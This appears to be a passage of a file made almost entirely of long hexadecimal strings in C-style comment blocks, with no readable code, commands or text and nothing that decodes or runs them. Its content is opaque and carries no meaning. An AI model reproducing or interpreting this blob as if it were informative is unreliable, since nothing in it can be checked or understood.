ddff05e43aa26841c6989b97913de733303c7ae4f0de8c1564a9c0367a410f9634baceaf6393dadf837b953dd59b3b48b365dc04f1e1fa1984d8d1024414eddab1244ebbeac0c6e6d1d87cb638e4b0eef0dff0decd14526c60b0845a0948c336e8d81ff65e4828f932df3ec0060e829439c18584b12f36a7c7d5febc23576c88ce0b4c3720868b41ccc03bd4b7ecf40b4c7741b81fc2df3207730d11f7323e80ffffbdffe1f2cb5e45d44c269451f22a8012727c78e3908cf76232c0ebe5b1cd451e791d9c2878376a82789795b09d8c0c0d7a6da2625a2c3e9e46551dbf5a33d3dd423bad27052522a223c42a331bbc83b949628e342a29c6fc007ddcaa0eafd8215083c2a9780633aa50c120f22143d6c48d2ddceb66b8a9f551f530debcba699af00f49769738452062c56862f364249fc1cd55ec3480d9e6ed609e99692ebab7ecdd73bcfa714f73f77859ad5156a2b04e543f36bedba364a474a24469d2fd66e2c83c4c5584db24e366eee7e0af615158ddb4ef7e8d3ef36b7522e10d4cadf1b7d2bde22cbbc3c567f0aab9cc242e125e3c1e215435d64070e53185b6767062c8c3953372742aefdb854dec5fe386457f52211f89b4ab5d10c82b122b7e42ad5affd852512cb3868addd20c25ad201e7b19fed8095f57161bee92d615121638247bb28a1d58c1e71118e331fbe333c35ad8d552a2484b4256eea0fb768e59aae3f2ade853c8e8c8c0b1ce61b92514a6875635f5b63eb10204fd83cac16bbbd76d7fb883bdf575c0f5e76615ab2b2fc55cd6fc34ac99f649e44ab76c753b1908da7cc1fdce4013908f8278fd8be72f27a159fafcf77a9a6f8dbc4cc886bbe8bfdcae5eceafa9399a459467067e8d5a386676e37909c87b92677725b9b4326a389110336ba00e05807178172fb6da03a5a1a0d277c214417a0a820d73bcb166859a0bdd9c2fd6480e1d69d5c0c2891bfd96fc27fb27da99d73d9109cee3775e9c16bc72827aeea8bfa44102d2077942132e2a24651fe8b9bb4c32215da9505a3726d728beed8bbd8cb8897ed74cbafcd20193aaf9f112beef474831b794abef2bb19e2569e82ecbe9bc3eafd981da3cc153a047d86e90f010560d515927078a5ecbd939a0f500ee54741a4f3f95e566165566f247085ccfc325ec3fef58521083e18e13c42542cd712dd749920b3cd784b7337662984e8edb760591dcbf5329fd2db3b28b34ad99c4e2e8612016992dbe1bd5bcfd153dde5d29dd515b7b3d2ce0da3927fb5ec88e954ddfc0651e880862bed4ec241bb837948473b1ead1a2e04064728e3a314c8705b2240e5a74a6c7356c65fb0c83592517ac2168a633ef27819bbab18954e5af0415176d40f87a4877a9306034ed9f36cb0f0249270aa2e4290a48944597ae58a6f6f5404dcfbeff855bcd0b60c36940fabfaa27ccbb9e903974ab1a3663cbab5008b780ef8c242f1bf7aad24c8747b3092475150ee*/
/*fdeb2ef7cfb5d9c47287736224fb7e1b6607d3c8b175ac3d5243d1cdb8b40c1f9a08c99b1331c65fe91aa6ef2cf21b437abda9e635ba5e9034716d2554c9836d86d504cc66160e2e5d7a352b2ecb38a1bb5add5def0359118d68e0ae74ef5a11f7ff2b796ceee1479a78bf6ab85dfbef64e4a3eaf2c1b5abd342afc2e605b7637227bd339e04b4e5ce10c9fd2621e92da8fabae0271245bd473fa1b09b6726c91c4c913820d2c67b25d916bf447cbaafc648bc06e7a0d25c7de5d44c514befa687ce60e563b7716c3c61eb10ca181101d0b9b880eb6c482ea072292268ae98840bf7bc83e0c1187f6632055863eda2c8830489356eca3ffe2cb478bf0dd68cc01f9b3fab84614fcd991421dc79f42398095dac52b084b1e4e47ae0f21e1f5bd36ae15691cabd5360ce8ad536fe390562ce9c3a8adc85ca32aec6b62d719e8d4f7d05c1552dd02092b4b3a085b078789e029bb4cc60c277a61d7caee08434eec246499333d15c93aca2ccf813dde54b4b103ba1b902e8995d675ce7a1ed2b187c13055f2706dea307d38e7bf22e2edef19e6600a6b0e659d4ceed28792baba974e1326c9f7cd3a015fcfc978c90f12ee98fa38de0ac4a6571a0722d2086ca1136a4833e3b396579e86afd5e6a1a0ba8ec89ecbeea79038cdb987bc4975f718def5d52c9a5761ae7865e012a2dc5f4b622c305efb59f88632cf763e519f3b9a84f3ecd7cdf7c64ce2e5235f19f21fda08baa88e10cc0efc6f9c87cab2faf6ad3082f6e771afd6aa87e0f5e552917d6e1f3c0ed6be03fa4bf6a1945420fc78f588e051ba58835cc503c1a0dd5c68602930dd1577a86284e9e7077ebc34398eef134310073c123570da4ee1bc2ecaeab87f01dca9ac4fe73c9e5d8278d5b919240754faf86570962db365c4e4660ef5abc5bbb3da7e4b06569f37be2e2e3fd18678aaf85ff507b082697f22e5966115666b51029350a3477cb3ef1fc96f9bf16ca2202dba75aaab1911de1cf401dcfff346a655890637c9973cd8160c2b01016b9c0cd3e58be95d8b67f381d674f0b3d971004e5b48d1ec96cd41de53d941d025a6db5dd7982bdb47ddb60b1fe273248bd3552f99f231de8028be35df95559fa9eeaf90f0bf00dccf671dc6b06d49fd0f7962c241e5e08320cdc380dfb4318f0e8b386702ceae801a0ed645197d4302ad4d63424cd7c1539054608d0a688081d7da576d64c9549d7037b5e5c5e58d134288c85aefd0efd157197d7cba06ff2715eba0cea4649774216f191f5c32175c37ec6eeac244d7799a620ad9ff3f0d0ba94d1ae5898a8ef901475ecf7c290e7ddef2e7a288fa3c6f551934fabfa4aa8a0d840c87c620a9145bba73d67bd89191b70baeba2e5588b59dfba445dad77277215d40eabac2054a02f7ce8982157ff00791cc149e460e63129b532d55c4440de32eeb36f5eaca8109e4db4b5f48c9996c4eb116817a354ad6a54cf2531c3b36025c44088736157e24f7e9bc5a06f1a0a91ec3acca02a5d9390d5e40ee02d9c48a60f7ee0c558a86473ebd2e9dd22f1edf377ff7144ef25192918959bea29c6f91badde38c8dde0e30032b11405635ad50c7f7128203f598469262d7ac6735bdba6b8ff1bf19bcd38151904b5c9cc1d8a77862e10443feae963107294656b33eadd9cb4066ba75750f1aeeba45a6fed5bc620ce5b4909ba2c65a611bfb3dd98a62f0ee36d883372dab68d3f694eda38179365194ac720a30b070abbdd677d38c8fe9b48dfbaf1c700219205e25cb0dc0f0088a34f3245d8d93a47f6955b502ae5a6fadc8cbafc7a68b9f1ccf14d81ad5478ed55789626c44e8b89e5bc231fcc732e0d3709593dcd22e135e3f52684b5d7666ae442972185ed96444c1ca223a90f2eb10ccfc26ceef0d0801c3b11ed1d39ebbd13d7b735ae324befe05f06ec995fe60efc90f4fa177a11d1b72b6f120a7476bc6987ab070b0a68fecf9e81c4bbd4f522f915c6b72b2aafd2cb5a243bb4f3787ff889ae026aa93cb12b1cce6b913a45daa5ece05c1d057e2b62866485bc9678d5361938c0c81b9e0b17c3efa90043c9776bd172c7378bcf7c13e53487464fdf6c2549c0673e589e4c2be8f8a0cd5123644fd05dd7003155dfb99e102271089fce52cae5e6858cc392037d58a1ce274d1b4b029232ba5ada6b1982cec0b77c3064e982765f2616cf25e964652d25c225b4420bb74e54d6cf6b71dff71409026e97b71d10ba95374073cd56ba792d8392b5a7d3b1ddbdf5e2200392afa091e4a0eca09cba58009edc5fee153f80459a151cd54abbb59fbd0a3e8d355b9d049ced3c1cdc6da60bec34aea2c39a246937c197e83d83482c4119a80dc19ac2bf4ae6a44c013812a8ece2bf4fee3d029072fc399fd98886d1e3327dfb7679e6064cab54e2cc53df48736436afee6b61c49da37e4a3459225ab61d4afe885ceb3fee6e4b4184de688e6c5543c1c71f780ad19a2a89f00c12f4b3885a477c66e540648798c501cedd1589ca9a1e6d971ebd19a3afcef15a69c115eaeb78f85a2f2b22e4dbabc3ff3a3b8ef63a11e7ebc0f98697efb8b079beadd6d5c9c91f953036bcf0ce0d85323a8eb9fc71576f8bf38bb051d882f1805608c4288004732274514f25a3b49e2bae0331d42ffcfc5632f933004ebfac9f338ef7ae08cb17f4a95a893bccf2a33259a4ecdf2662f140331d0cc591836e6445f93f1320191e7c76f677fb7bac04569d2d769497835aabe59340c6b642eacc5db53d837508e74a05359b1bad42a275defc0a69e37cb0cf4c6bff5140c108a42e30a423dd40a40d675747be0f*/
/*abbc6d1c967f111f9b1def57c75f01b860f7f9558843130bba7b778c06fc7a5aa37ee0d67ae602b4d0667db5d46039e9151eb1883bba557acda5ae80444bf18a4d789f189674774d24335d21a34cb1741ef9c895d708e6c3136f6ee2e47d9110db25b69e2a13931e1ac8a6e1b0476bcb6acce0efbe59a58143bb94d80a5e96e86d8dee74fca2b5498a13daa107c6a6447e3577784e1890f6a0fabbe5065f42d3714a38883d29c8dea17b4ab48edb2bec07fd513a0adfac7f8eb9ba17d4abb0c11d4c3fd9e4e735cd38755866fc8c59406f42ca246f0390158f4d3307db352d3dcb645ddfe3fec2833b6c0b21372fa705a3f6597f9a8c169ee3247044f1ab878ed87974c8e85907516e351083db2a5062776d4fe50310b6986822531cf2353a835559130c61270ce6d93c8b6cc45c6e2f9b9d7809979a69dfc8dfab7bfac3049b302cf0206d41a165015a7988d886fde87eaa6ca2e0e1834f0d7d7d00e6b2db2114edbf9199c345cdf41e1ff3fa32fe7b6eef4163ab4c971c559ca4abd35d68a30307879708747159f18ea74e002a5cd9ccc1091fb5780b1b8845f794dc1de69f4b1c1ebe407807edfdb4eeab89cba1e787efde1a405606091b6fb1fe7d1b7643f5b98e8cdc91e6d4b3b83bbda51b6135e243aa9f2054f728354e64e5e5c186ce6a53668cc4f2fb9f34d0c34da660d2d10d1c1f50407446bedd5dba08d32a5c905634e0c3488437ce6d0e9e42a75ffb0ff3d925418f9129764f959e87ee00c3db64d23ba5afee5fbb6696bcbfaf5d646ab86b791cc66546a2f7323ffc1b5f9d18a3795abe117a47bfe0453bd27f74eca7772d602de60bb45d9b1a0bd382e8b156f90ae04268da1530ef189ad2dc1a1f2c46053352f2478a0c5b00615d4798a74411c60c59d5866f8198ba30a3adf83be88dca4ad43571e9812a746b8e3561bfaf610810e9abda2b7ca108f7cfa6a8e6d18b1f66afa2be536eefc87a06daa8c9815a84ec7d660a9985e0eb33af95d6eda392949c3ca80d72f9e957937b637271f4e4f8917237bd7635f6be1f04cc7e6f2b09e00791c9560eafcd6e7257b02035cba87b9e67164afd832275e5109735a846138ae4df922e4d16a187521a40084eb451aab88d15acc9d3f91f1a4634ee255607a23aee596a23bfdb49736d0454149fdcf37cf0b62d75a950726f4f831eb6b5a3d8ddba25f0c03105f4ab29edbf33e7e34fa7180c02739bcbcb940e348daff86e4ad00fa5e92cff4ecaff7b0e506e6ab4069dd3a0684c937b38de11d18fd01de15ee68a0c8d131f3937252df6652a5d93214d9f30413af3a70bba97db43571e3f098594e9801d3a1ce7527a9f63daaa8e2fe3274e39f916460bd152cbb6c41012ee9132a9d8a5f94212ee3c796ecdbaed08f1209d90a073ce0a1c2b809cdf07949a54c0d7eea07da1099e641a9e97d7a644615dfefa1e9d08276984d352c3736146697d50b20760ea8b58dd73372a50ee4e52b826f3ccb9164d92248913b35d5ea000c43540f72f7e2ebe77e36984f6ea0e2dc314cb0c5de6c4618aa8ef2cd6610ab72e1839c0fe22392e9e5a6e5ecefa6a1574a9f275c21bbf634eaac3f670e4335961e0da96e78a832639f973a04d0eb40dce7d7320167668bf41681b9a0859b620dece067f85a69f6c88fbf0cc69cb6c85b5986b32057b28c1e0ab2d3c645790bd587d59543dad1ccbedb2c64c3845afb9d832285f7dc6b983dfc3f31b08fb33581b05eb6a5dd16f17b29b5c04ad53ca4fe63acd99e2786fe97bec6777ce9a8cc15fdc2695428dc8f7807e3df56df53f2b163ccdcda9e58588effc0dbf34b20016f0109a70f71ecb6c120117eca8d413529e9999d33b846c38ecfc53e195934e74cedf4503016c16c79f9e545969cbe9ef42ebdd34f265784e1153700ada2c5f9f90b0133a08eb894fcabc71fd0642b2792ccd25f586fea050bcc30219be45a5aa0e96c2871f958a275110707ab82575c78c807b44c794fe1b4cfe921c63e161831a1a3293271ca8939184c0c00e5d5d069c39c5aa0ee08358a6a2eef1a6952c1b2038665dbb47eb813008b1a9728d6e041de6b7505751bc469bcd45f93bcfaf085c9597ea45a8916a65cae089f37fbc187151a7331d8a8b1e387e4544937d272b9b7022fa5bb23fb52cba8f09aadef359f3427ee9e4eade594292edc54dea066b92112dab284a6695d0337400113a766e9299c97b0904f2667b008e409ff4aabd9a06662aebb43f1c6088ba283e9193a72e871267d49dc549278399d5ea2f263a318a30bebed6d93cd36727d565a23a3de7c183afb7bef5a0d78c0c417ce2667cb406e1cd90b9708f7bba0454cb29b064d16e89d6cc55c87f1dffa6164ea467410bcd8f7aa8e5ee764e7784e8b4a6ec4ec73cad569b65c6792f3522b92820b0ade5f37e553d5f8dbd654a001eb87ee9d71beb7ac5756f52de0b9a821bdff642d41dc4f1d452019c58038f47866fbb5f13c0b7236b9408778cf4473003149602b5d31ea55c3c88b56e0256f8248ef87ce4371c406dcf97b4c02107f4d96e75a74552bfebb0878998bef9a7767e0b22c3266844fd37bb3da4554f124ea8feab3b22a6d6e26d2f6965b4763477c621ab0f13b53ac113ebfbba0364b7581386c595903ce6b34a6e602bda4592c4acb7b829295c678a0503be23399ec2e7b295de2375d8a5fa39270e7af34e0d22f0a1798fbe9ce07e919072709b9c16f4bd8a1bea9b540bb819fabb3a5799458846d15560a8c38f89242b2cd088b91fe08f8a0c00b2d0b4b0a2091f2cb44f08186c384aa250c74a0297f28b6c1d7243f01e52*/
/*ea334ea2960b39d511d6af30bd9f52979ab447e89493330528e1687f73617aef7de868b3760de800ed13dadbe98435daa3bda7b837d82c0ead5b963c1ba29eb913213e99b9014c110c3ca43b7b78364ed97002e749b457cb989603ebfb3a2b7859876e9cddba3c7702deeb1132ad44d184fdacc385b1122b2e7bd54178708195703e67056617c2f194a6d6d13dfec19812d11433e22ae5fb68802183a34eb5f608286fede81019d603fa6acc5d18fded1a5585f0d40f28991c61c73a4b731e6351455df85aeed9b0a103f7a352d097c08a9ab464a6ac66eba4284afe0603075405e59dc6ae762ea8954d4e10fc5da540f489d4bf5c4ffba0f3494e9ca88b8810f01e20cbb1b11aa8f30bf378a664b1925f750b9ecb639120ed2094868883423803718a3db956647d95d8587a258bf6c53dcbba69e0f6035148c0c703069cf194039138edd3bf7d46bec18148dddad2574851b9d3640a6d025b6d8f9d5069cd1fdd4bf728407e22d760cb5eafd2ff9506333898194445b37cd6776f96fabef2ed949e2a2e9bcb29584a9d3c2e0d6ae2f345524aef75d55f6c4d546c04ad8e0823c756485ac2e9841c1276ec5e50a183820428726e46fe5f456d17e68727e0d01431295abd3a29f584321e03d86de40d7adc39560ee479a5573c54ce672ab18821bce737b14a21ee329cbfc909101c47950713b8ac58dca6014976801fcfd6ccdd0ab0b482ea8eb7bedb877dd7315848539a3188b57fcb28213654cde667244ff56f4d8bcf16bc3360ce9cff4a93b1e2f5c3a3291e9261fc50d84e992dc11a233738c4830978e9ab810832e11fa7920f92ca7be2473197f3881c9b54662404c38fcaa98a6ac06a38d0ad22d3568ef5374d81356b830281f4bf59dbec682815094f8e042d329bef9f89ce1f0cacfd09697ebedb25b437e0ae280cacc0f9c34a1ed36fcddcd8c0fb52ceaa73c869c5c17d7f3c64096dbaeee8108eed40aa60fde7f297234ee48dd314df876419240e760b5c79b53aa1dead438f9db14c24908e8dfbfbbf2da87ee3be9da77355e2d8e9d6201a22c3277dde3393be64e5a2772db8757457249bf699f588eb732dfb2b45f8bc03d641b07896f395a71abf2b4a067086585b468b56412b9070df1da7b554816f1ce8b624427ed00cce74178f1d61413a886f66d4b5c9888e7bcc25e8f329a0fd7fca656b81c28f191306b1d7c658a252c5a8261bc84f4d863b9470ab9937b6eecd8de1374365b0602019e11d6b887db7db5fd3f13f8f9175a61a912e48941b9c73cf3bad48509ea67cb07a6775fb6fbfc671a087f6fd5402bd7f6c41e7b44936edebcea9130908954401bc96cff1c6dc37bc9a9607af80ce1891369995c09ebc8137ccbb9f5b842d77e8daec93d60e20d09950b04374ef0e103f7ee813664c062856105e5ae686e7a77b64672ae87b67d615771576f526f64bd4f6e290ab4ad282ee3598267b9544a6fde2fe7d89a689194645d17ed5c0338f138d6b2b9c29a685d32003af9e30dc418f2ad0e751ba14bae91d64845f2840bd148e5d40fa934551a4a623bd2d895c1600ec2a8cfd1a79d3c3e1ebf43e5594e6c128b167e29e509ec77b814bba89f039036de89fde1102c201bd8ca903bf63deb670d7a336e6090ec79cfa3c7e75ca764d50dda054a4340a977c97b1ee29de368bd5a0b3677b01a9a4d3bd78e8ada7e7f2599fddcf1918c52a0fc15389e208d0be6a96f42b63992f2e4a36a1568a0b9a89f31c837ac24aa60cf55426fadb41d6cbf774746e8b617f5a384cbff93bc513399566a4a201896f2152c51f34d5501fd6118e88e3028b5283ee3b9270052a156ae131e3fe723c96b04e7aeefef4bc360faf310f4432311c788726f6b1af292387d476458cf0704d2d34b68232f3fbf137f96a9890877f08cd80110d014d413ee9d534b2cea6c899e0211a739c44f95c61ac07afda4dfd354dd8467a971574118bb02b78e5275d5f98186e6903815424f76556bb6271bbb3cdb12b061c8c13531a63c2c5a436d7208d6e77b5058fa4ed6c3fe7a39fef685c360f2748a905395f8139e6402dafb0f4738be9a7a17577c04087cfb84f394b26b3c419e4b985c00d6cb49590680d1a9663bff64c67fa0454f484e2971ba7418d5cf1c4bd6b2915388c6690d83a6e8232dec49176379c2cff16ae0906720c97dd5b124329f119e47b90bc0f3093fb426678b4acd4fd59c9f6be7c16338f4aa6d5c0e7555668be9155ea70aa0f865ce3e18a2b7705ad3b336779fb2d8039b35b9c1310b8de25ae480f79ce505e011e0eb17495db9b51689e1c20e1a1827ba511f6f73d86b410d96e72eee7ebc884cd0cbfde2f400787b81f233e029ab68aa93655f83aaee778f64a8925a5e113e253d5c83d7a7259e22a146f831dd325cd56dbb5e33401522af0c85e5071ffee1415ae0e3b0c74d4bc77ab1a4e766fde66a851105cb700015ef2e9fcd7c5520014a6f78f693a951b616854ab8ae4c3533e0875897d1fd408ad4c496f698763648c17b0eaeb19a2b81470f8ab1361d7a0dd4bce3242afe63d361e5f273df978b24572fd75d71802f7b2b3572d1d1639c97a7eca213ace5ffda09e0b4ab871774cbd19e95e5999b954111971790fbfaa224c057d949484c74d3e83d0cdb6c3c0a9e08080f38a7f4caa95bce97908fcf1f634e9ca3b997be30f16dccc5bcb1d312790dca58ccc7afc957032d51eb672bf668c6fce032edd4be68d8e16de78ad188791fd17ed687a2703bfde56652cd83efcb8cf61ea44a0fa70fd5beba09163af50c5e274651031601ece7fa8cf5f5519e058d20f*/
/*20736e475754f6b32c2d4db680acdaede60afabcd5269a4407248d416c2ddb9f44cd15a938ea37ef6ed072ebc1c4452888450b4d862c5da9b505f4fc328697f8fd74d89d0573d0d9825c576685a5ee25bbba0abac92af7acdb2fe6debf1558fcc98c8f8570074691f03e1293c1cf50b78ab03281cfe58cda365791a094728dcf88cc5c5291e732a5d7567426eb03188df292bab8d3e665b1346114365446e89468604d80db646c1efa044953ea7f06af5a2827cc5784a58050244b2be9a0c8a996cc039640c07869afd24d7669f45ddafb07c3c82d3284ab967b7870e3696949819a6a129856148b7f9d464843af0467135833500246326181abf99051dd049e49802f1d04d7ee109a465250adcc6bb70772c01d084ec7664fe989fbb58c282b84835a63b5074bb0b96a212fd66e33e554c2b69b564b9f2e3b141352420b4d3cdfbb062e4c70f4cf8e787ed0d604a9450c78d2bf9e24f9698f1cc3ed4466c1a0fe5305733721402fe730f405dd1f68e38e6134583bbb513219b66fcf1c0fb768781c29fc98d9d968c37b58a21be5f39b1ce96186b071d7804278be175c8fb21c5a54d8cae6d859ce88308b1db091cd9c0baf8236459e373ce7486fa5d54d46220ddb25a3e8efa5523914bfe39b5f0362ec7b24d2ffb12bfabbdb17503fe4b5fec501728462b3a2265c876939246f7e2c0e50eb1ca5ab55bd920a939baeaec996b5d287d5b41a85891e8a88b3f1ba3737ad7dfa493d8611c3bca339a0ae83d4db572d351b25e2b12a7a3b02048e96bc5f1bd73c98e5ec00e90b8ba6a96130d35c90e97fa6c94f39bb0c57b5b7686e7918b3c221ac6090b657458d9e9e5dbc35a36e8b6fdc994f45dce8a329d59beac9c3c2e4c5bc2ffd4491e3da8b981654b949d6950e9507db3c305c6ab388037f06ae4ee2398d0356b174e0778fbdc45307b4d32506c0a60d0dc05eb07707efed6e20f6ca7752cbcd78da814853208b28c1ae173dde7767394c6ab754f60c36bb7700c40d33e0b7a4fb339eb50f8ec932a4dc86e0d2f0f7c1f00ebf25e64d95652161263502ee2ad6782b1b646a216116783ad32c06b8ae45018b2944593b68ee15747add87cc5c0cd7f6de029ff1c5d558ba4c6eae8c3c6e70e13d70d17afdb21e8b776269283d3752833d54e240b87686604c52916d6e036e8a50958324c5b2a2c55b733b7c2bf7ad8c421108628cceedf5265a4dcd804df23df2af9fc5881f4f18a3a0892d4c3489648e3466d4ddbe903000396d4b8fd7e5296510d3e1ee13ffd580900c611f62a5c062062f709fb5f3d8512d78e14a7230a804f34013bdf4999e30710bdd486f00799be00c0803d197040efb6170f7d9e623603221b46cc7ffa506f1a4086b5d3753dfb8c780559b3e728a2e4e468355baea7a75b19d3a60f0ed5f589c42eaa952c80b6abb9f9c8737d28dee96150c5770e49daaab42befc838da321989184639321f4a653f0904e3138776aa830ea109c6a3ec4fc18b6d9eae71d79305f63d402275a60c6f749a055b55422bfe411764650390651ac3ad41308dcbb243de7735c99c832edb6aaf0665a418bf22efbae257ece79ba4cdc0a3c956cc2c7e02cad00e156dc6fe755c0ba9652a49caa853db62cebb01f4b4a515c3ab6353f3805a35366d5e84ce83a5afb986fb40c07bb397d42b21336d0f7174dcd3bdf28c7b6bb0ecf260ccd003d222fb66abc64413ce276d25de42b021f0cf9ed16696ed23b5e77eb06faef24aa9727a1a14c4632536880c18a5bdbe4db9cd08af66f6944c27f9d9370ac393596bfa7f3a6ed4e9c4c0f4182398ea4d3b80530073effed609dafa4b0d53e86f52cc67a0268bf33ca1391c8016bcc33c075830ca1d610553819e30030d21180bf203d7cb7a661448749b46b3ceb8a7385cc22f64fc680b8ba5174d294ccf595ce200f12cfe1030d165a155e9cf77dd93e026384eaccd34d9cf5f52e93e8e08233486cbaed7bf2411ce69aaf6a7a9cde35fa777ba09c97a9c308236b606839e9416233fc653d7734fce5b321fd4c3f9ab667b211d6ed572f717bad76d41236104c283cae6cc268aa972d4d00c5052a26ede4f8265ec73a6371c67e7172dee238359da0b0d557a6390bf7f1fe74cfbcbc393c62627e1b17b446108d41f96cb290fd484fe26735addf3a992dfef4685e4675ddc133062a13e62d0de8632a042645316a7f1994c8997ba9554264dc519faf885615019af7e947f9f79bb89218265afc66df8db1fac4a765139dce00cbcd723ac297684b64e9f8a068069f180643e4bd761830e32a5e05d0e3a746bb30e934f22ff06465869a1802bf6ffa2bc9aaf70b02827a4cc7541966979d3853a4207845f4607efc07bc1fdf118e2decc19ea5620446624957b57458d94a1b73a32d7c5896a3c571b15f6b4aa07a8115636dedddb557adfd07cb5134beb0ecd0e4a2d8c4ee0d5ba85f7b7f10676bb04927c496a88078e99f22b634fe4155fae110eb4adfa217eb141e6ac51d62861ae8def24ac597155557a37457625edfc6eec680a40bb3c5662280575bf74f8073d2194316cc15244d6a0df67f036a5de3ece577ba3fe1b0cb39e2ad9faa6422ed04daa2f2f3827c4d6f39524fefdafb327ec1b224db2efe4fe2330c22ec7cf9e803e1d72327b6f4cc02d2280b1616499aa44329b01d10dfcc90318a619cb16c97e507378898ee009e6a438f9fdde5647e0d1c8402d709c7b66360677d6cfd546b2e89dc1f5dff85cffe821ed3de5a2af5f0b8f1194f0d1408d59753fa2429e9047562d57bca12c7d1c18ca8d09a0641938eedf5455ef8447f2b*/
/*6837ef1ad833fcaa2de20a72e424986bc74460a90ab4f54e35e81b4736f21e63d5ed0e3c46d2e6f478b3aace6df5d4d8b841ff5d7a8d4b4ceab61f79620ff839ed0f9a7b87fc9b27ff12d7e72da32f3f1c21ea44c3f14755dfd8ac64ecaae091632aa6d67670ce23a5f92904034a7b694eeb93e4d71a7280ee5d7fdbf5b05aa1eb932b132a89c659ffe2c44c85f6a3b29bdf72762230885551d7b965040488f76728ba7a33e16a03bd257429cb2dc55c5f15fd51f0baddac282db49ab89eeb6c6ae4fae80bd5b94cc5e9ef5e7975e27953825c5fa7c4e360720e3f67dacc3f7c13c3b8c03919a86bf66f907855bae3f12633f37b5775db6059de2d5884346da42ca4b41b6205dd6b422d91ba773a573daaa4a2387833f4513d2a13d84d8470e65e728af679ff012e4f659d9e8b11eb86e5fad06919761d1b2854259361c197831c8c0731fa43ec443a7ebab47a929b292245b4f7e2196bf2dc1a4c366207850a01f958b2ea9f0464dbcd370bf3b5ee4d089ea0e2c23bd0d9b1581faed46978636ed0ca7910b7d1d0feeca17b0abc7e68f6aa0c12f7219c75b80a026800c52ace596b19d1e5f1baa2d43661644162ccb45e87ac0cc9332b4c7982b3f004688fbddbac78137ba97752187e2fbdc61af4134b8eb3ca06eb416836d1761b9bcc04dc023c785d07fd772f234907a6d20d5d8383f8e05b0d6a9ccdae01c8b9f7a89622f1be8518f96fd913c07d721cd2ba9af9b92b8712803bce8a0d23eaa34eaceec16a3b550f6c3100da7c39b0ae745e3d37ac963f89ea9a9f8dbbeb69861c5768a523f7a0ba2137eb9900d991bf5537ca426c99986797c9928aa4cba8ff8a5e8872c149064c0a5ffc07e82db2c1bbf72805b4542d7f640478d716e13d7b43d749d06fb005a636e47772cb9543ea93417d9b14c1d575345513343ddcf01e9ce531e1c36258f4b69f145e2a644796a4e940a094571d2af0b3c56907421a62e3130434d3e83dc8239d54ef91287eed5b2c223e1aa1f44d1ff7a9f2b19b8cf673d1c3f2f1ec7eaecf7c278e26f65d5c7f6989c62269d4796a04f8b3bf6522245738ecb1441bd14ff943ed607947263f0316b6ee9c4850cc74e9516fe2b34c8f8c211b845b66ce2e7445a2ff13f42f61ace06c9522f27d84b0dbacad6c1f16e624e2d9c0a8fe89d94b1ec363b39d15abc15460719d3da5ea33f50c679a8b6db5f83c16544eb3950a25b2908bda75d3608262b55a1c8ff0e49d23fe4b1e2c3edaaf294fbcb6d4f2396a713e892fdc5ad083be2fbf7fcce8a01b13fe934ca64acab684a8b5a21c370d60c1c9c4431cb1ca5452a67460f21855ffc14d4a712acb85295fdb69d787e556fc212e1addf30f2c960dd50f1cdda2197d8a989f3ce5e84a687a165251857460386767729138057f458c3264e45f900f6ad36d2cae9d3b5eda22180acbe2bb3f3622dcafcd0001889bc9fd9b49dbfb5f2d6f422e3604aea4a7577d4629aa03ce262dd9e6917af01a343f0547d6b0fe79589f631773cf67a4fcec877b5e2ff571fcb45d283725e585648e5e1b8a0804b3ff91727f336c1143a1bd363ca23c6c7a8772db6a064ae413929c3376faed569042d50928a342d2f5ef3297945a0057a2cc9e27d196d7cfc6b0809eb7408c3d600b35f9e31f5fd84583b0d22401031ad28c27ba3e13698b1aa3953c80b35645779018b2128e86d27d90c142f38421f628025ed16d7ca261b19b860e0fc5299aa33cff08aff7b589effe6ac83ea9f1f7b896fa6738f38d4c9cb9bbfb91e8b4cd41083b55f3ee46640ebde4bd88546fbe4dbcd6b4e6fee811125c9700355a784aefe8df810a6bf4abb9dc15f56ce724574cad656194ac9f0ed0cf129c7cd51a7f0498d7fcfc68fce3017f5fbdee07f7748b0ea1b7fe5d9fa7f60b787229c164047e6e16dec25fa72f1ffc80c93ddf1f0aea0dcc00c184129960f657da3121c99bb67ea15876c82fe4174d1a022ad9f050f13f71e84a45e05d85833470a429266824347522ed356612bc5fc29734ffda6ec0da74efbb169f1628d8139680aae042e18e985d754f4995b16e742416dea05ea9e90406b083c548db54a7e6f96e17a0c1bc05ad92bbc1868db339967259fb849b4b83a33d8aba67c02cd00e331de8b0da0132cb303272ea39ec5b00ff26d5e74c478eae0470fe98f5dfafeb286cb7ddb96ecd705d80ccd71a2a282bd10f4277ad70bef52e1b6b656b6139f262dec8a96ec8fa2658f74fe696bd6470d62a89bb6017783c091f1c3e30e8bfd28b7fd5cfd197e541cafef09a57db367bedf2034d4a9d6c0a3517bdba332f2cacb9570740e05dbe334fb6ee82416f1fb799efe4ac6adb76d9d94f059e51cbb77636151ec9f60f863d60b357b75f34ea81a5e31a83c20f0364fb32fc1cb5c4bd22daabc65d74295e851d33d2b157b2beee7d24af09718d5ad82f23c51ac42e22e02d116fd2d1a503e42983d19c74474228732c6d31c16e0672d76c893b9797824b98aa9dc36a00d98307734f3fb4825b5399fb4d2bf5a0bd5ac0702a8a94f48af63bd8989817d954046dfa167e3e57ff86ac10cd0f14463eb6f216abafe4a10666b56162c2491357ac15f3d82c338f5dc15e1fcd65b5dc974b1bdcf99709a762adc551e08bee92acfaf957c265ea26db1dc70c32ba32e0a83aeb2d87e301aaaaae82df0581acf2a0c2dfda06ab0f4b37bf6d2cb5eff6b122ee004569f4839203c9af9c2c2999abf611f6c1eb83be90c97964f361167cfb3fda3b4caef619aa99ea05ccf9681f2113bfbfb583e0e812c8f77a51d1a447ea4fbf0a15cdc318debc74d6*/
/*8214ce36b4ffaac6c60345cbf96d0f38715444269bcdd4840ac085cff94510bb666bc75533f4854691a7f0f9c00f570fd9c78068a33515cf7c07390e5ed7b2b4b8a805a5cbe2207eae670ba2794f070262e57d79dca1b22da48a197c83b13184c92ee6dc7c73c233f1380562f506c1e162f1d668ad393e2166daaa3e2ba39923ca43dba4c5a6725b47db919ce1e958b98c9153db26f060d2dd5380a8b15449e89e19293276a2416e629da070dbe618a4459b21c7380a36cd61e7baeefa5934745d8c4e134866e049bd25191c67b7bfd7ca2ff5bbd1dee3490f11a8e9ee63c38c8b0e0c6172e3b81e712d673a964fefc1e39a05b97ba6d8ecc2964fb6b3295495443c419ae0da0e4ed1b4152eae8c6d5bdef3da99f17ae31bfba0d05ff4c637b0569cef31a48da18650bbb541793a3b1184a50af1f83ff4fb54abdd5177459961dc18722e9389dbe09a81673754329a556416f4ad985511f221b7f32878de18425cd8a639c47e663853309ca41bdb7102a620ca0